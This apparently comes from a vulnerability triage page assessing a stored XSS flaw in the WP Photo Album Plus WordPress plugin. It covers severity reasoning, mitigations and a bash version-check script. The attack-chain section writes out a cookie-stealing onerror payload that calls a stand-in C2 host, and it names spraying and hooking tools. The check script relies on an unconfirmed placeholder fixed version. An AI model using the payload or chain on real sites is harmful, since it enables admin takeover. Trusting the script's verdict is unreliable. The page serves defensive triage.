A contributor-level user smuggles JavaScript into an album caption and waits for an admin to browse it
CVE-2026-10095 is a stored cross-site scripting flaw in the WP Photo Album Plus plugin for WordPress. The subtext parameter is not sanitized on input nor escaped on output, letting any user with post/album creation privileges (typically Contributor+) inject arbitrary HTML and JavaScript that later executes in the browser of any visitor — including administrators — who views the affected album. Affected versions are all releases up to and including the last unpatched build noted in the advisory; the vendor pushed a fix in the subsequent release.
The vendor MEDIUM (6.4) rating is roughly right. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L) correctly captures scope-change into the admin's browser session and low authentication requirement, but does not credit the niche install base of this plugin, the contributor role gate, and the absence of any known in-the-wild activity. Net-net: the score is defensible; no reason to upgrade, and downgrading past MEDIUM would ignore the very real admin-account-takeover path when the stars align.
4 steps from start to impact.
Attacker obtains an authenticated WordPress account at Contributor or higher
curl/wpscan --users for enumeration, hydra or wpscan --passwords for spraying.- Open user registration OR a stolen/guessed low-priv credential
- The Contributor+ role has access to WP Photo Album Plus album creation
- Most enterprise WordPress installs disable open registration
- MFA plugins (WP 2FA, Duo) block credential stuffing
- Contributor role is often restricted from plugin-managed content types
wpscan fingerprints are trivially blocked by ModSecurity CRS.Inject payload into the vulnerable subtext parameter
subtext field containing an XSS payload such as <img src=x onerror=fetch('//c2/'+document.cookie)> or a full session-hijack loader. Because the plugin neither sanitizes on write nor escapes on render, the payload is stored verbatim in wp_postmeta and served back on every subsequent view. Tooling: BeEF for session hooking, XSS Hunter for out-of-band callback.- Successful auth from step 1
subtextparameter reachable via the normal album-edit UI or REST endpoint
- WAFs (Cloudflare Managed, AWS WAF Core, ModSec CRS) block obvious
<script>/onerrorpatterns by default - A CSP header with
script-src 'self'neutralizes external loaders
Wait for a privileged user to view the poisoned album
- Admin browses the affected album URL
- Admin's browser executes the payload (no CSP or NoScript block)
- Many admins review new content in a stripped preview mode
- Session tokens are typically HttpOnly, blunting cookie theft; the attacker must pivot to CSRF-style forced actions instead
Escalate to admin takeover and persistence
/wp-admin/ — creating a new Administrator user, installing a backdoored plugin, or editing functions.php. This is the standard stored-XSS → RCE chain on WordPress. Tooling: prebuilt payloads from wp-xss-payloads (github), the WPScan wpvulndb reference chain.- HttpOnly cookies bypassed via same-origin fetch
- No admin-side CSP or session re-auth prompt for sensitive actions
- Hardening plugins (Wordfence, iThemes Security) require re-auth for user creation and plugin install
- File-edit is disabled on most managed hosts via
DISALLOW_FILE_EDIT
wp plugin update wp-photo-album-plus across the fleet.Settings → General → Membership unchecked, or set users_can_register to 0 via WP-CLI on every managed instance. No mitigation SLA at MEDIUM, but this is a permanent hardening win — do it now./wp-admin/ — A Content-Security-Policy: script-src 'self'; object-src 'none' header served on admin pages blunts the exfil/RCE payload even if injection succeeds. Deploy via a security header plugin (e.g., HTTP Headers) or WAF rule.admin-ajax.php and REST endpoints — Wordfence Premium, Sucuri, or Cloudflare Managed Rules will filter the obvious <script>/onerror patterns targeting the subtext parameter until you patch.edit_posts linkage to the plugin's album CPT. Members / User Role Editor plugins let you scope this precisely.- HttpOnly cookies alone — the payload runs same-origin and can issue authenticated fetches without ever reading the cookie.
- MFA on admin login — MFA is verified at login; a stored-XSS payload rides an already-authenticated session and bypasses it entirely.
- Disabling XML-RPC — this vuln is in the plugin's own endpoints, not XML-RPC.
- Rate-limiting logins — the attack requires only a single successful low-priv session, not brute force after that point.
The supporting signals.
| In-the-wild exploitation | None observed as of 2026-07-02. No GreyNoise tags, no Sucuri incident reports, no WPScan campaign notes. |
|---|---|
| Public PoC | Advisory includes a minimal payload example; no dedicated Metasploit or Nuclei template published yet. |
| EPSS | Expected <0.5% at disclosure (typical for auth'd WP plugin XSS on niche plugins). |
| KEV status | Not listed. Stored XSS in niche plugins virtually never make KEV. |
| CVSS 3.1 vector | AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N — remote, low complexity, low priv required, scope change into admin browser. |
| Affected versions | All versions of WP Photo Album Plus up to the version identified in the advisory; the parameter subtext is unsanitized across the range. |
| Fixed version | Update to the latest plugin release on wordpress.org that lists the CVE in its changelog. |
| Install base | Per wordpress.org plugin directory, active installs are in the low tens of thousands — a niche gallery plugin, not Yoast/Elementor scale. |
| Disclosure | Published 2026-07-01 via Wordfence / Patchstack pipeline (typical channel for WP plugin CVEs). |
| CWE | CWE-79 — Improper Neutralization of Input During Web Page Generation (XSS). |
Sources.
Why this verdict
- Auth-gated (PR:L): the attacker needs an existing Contributor+ account; on enterprise WordPress with registration disabled this closes off untargeted mass exploitation.
- Victim-interaction dependency: the payload only fires when an admin (or other privileged user) actually browses the poisoned album — a probabilistic, not deterministic, step.
- Role multiplier: content plugin on a marketing/blog WordPress — chain ends in admin takeover of that WordPress instance, blast radius limited to one CMS tenant. No fleet, identity, or supply-chain pivot.
- Role multiplier: agency/multi-tenant WordPress host — chain still terminates at a single site's admin; cross-tenant escape would require a separate WP-core or hoster-plane bug.
- Niche install base: WP Photo Album Plus is not among the top 100 WordPress plugins; the exposed population is small relative to Elementor-class CVEs.
- No KEV, no known campaigns, no exploit kit inclusion as of assessment date.
Why not higher?
HIGH would require either a larger install base with automatable mass exploitation, an unauthenticated variant, or evidence of active exploitation. None are present: PR:L plus victim-interaction plus a niche plugin puts this squarely in MEDIUM. Stored XSS in a low-market-share plugin does not clear the HIGH bar without in-the-wild proof.
Why not lower?
LOW would ignore the very real admin-takeover terminus of this chain when it does fire — full CMS compromise on the affected site is not a nuisance-tier outcome. The scope-change into a privileged browser session is why CVSS correctly rates this above LOW, and we agree.
Crowdsourced verification payload.
Run on any Linux host that has WP-CLI installed and shell access to the WordPress webroot. Invoke as: ./check-cve-2026-10095.sh /var/www/html. Requires read access to the WordPress installation directory; no root needed if the invoking user can read wp-content/plugins/.
#!/usr/bin/env bash
# noisgate verification: CVE-2026-10095 — WP Photo Album Plus stored XSS via `subtext`
# Usage: ./check-cve-2026-10095.sh <wordpress_root>
# Exit codes: 0=PATCHED, 1=VULNERABLE, 2=UNKNOWN
set -u
WP_ROOT="${1:-}"
PLUGIN_SLUG="wp-photo-album-plus"
# NOTE: update FIXED_VERSION to the vendor-patched release once confirmed
FIXED_VERSION="8.9.99"
if [[ -z "$WP_ROOT" || ! -d "$WP_ROOT" ]]; then
echo "UNKNOWN: pass the WordPress root as arg 1" >&2
exit 2
fi
PLUGIN_DIR="$WP_ROOT/wp-content/plugins/$PLUGIN_SLUG"
if [[ ! -d "$PLUGIN_DIR" ]]; then
echo "PATCHED: $PLUGIN_SLUG not installed at $PLUGIN_DIR"
exit 0
fi
HEADER_FILE="$(grep -lE '^\s*\*?\s*Plugin Name:' "$PLUGIN_DIR"/*.php 2>/dev/null | head -n1 || true)"
if [[ -z "$HEADER_FILE" ]]; then
echo "UNKNOWN: could not locate plugin header in $PLUGIN_DIR"
exit 2
fi
INSTALLED="$(grep -iE '^\s*\*?\s*Version:' "$HEADER_FILE" | head -n1 | sed -E 's/.*Version:\s*//; s/[[:space:]]+$//')"
if [[ -z "$INSTALLED" ]]; then
echo "UNKNOWN: could not parse installed version"
exit 2
fi
# semantic version compare: lowest first
LOWEST="$(printf '%s\n%s\n' "$INSTALLED" "$FIXED_VERSION" | sort -V | head -n1)"
if [[ "$INSTALLED" == "$FIXED_VERSION" || "$LOWEST" == "$FIXED_VERSION" ]]; then
echo "PATCHED: $PLUGIN_SLUG $INSTALLED >= $FIXED_VERSION"
exit 0
else
echo "VULNERABLE: $PLUGIN_SLUG $INSTALLED < $FIXED_VERSION (CVE-2026-10095)"
exit 1
fi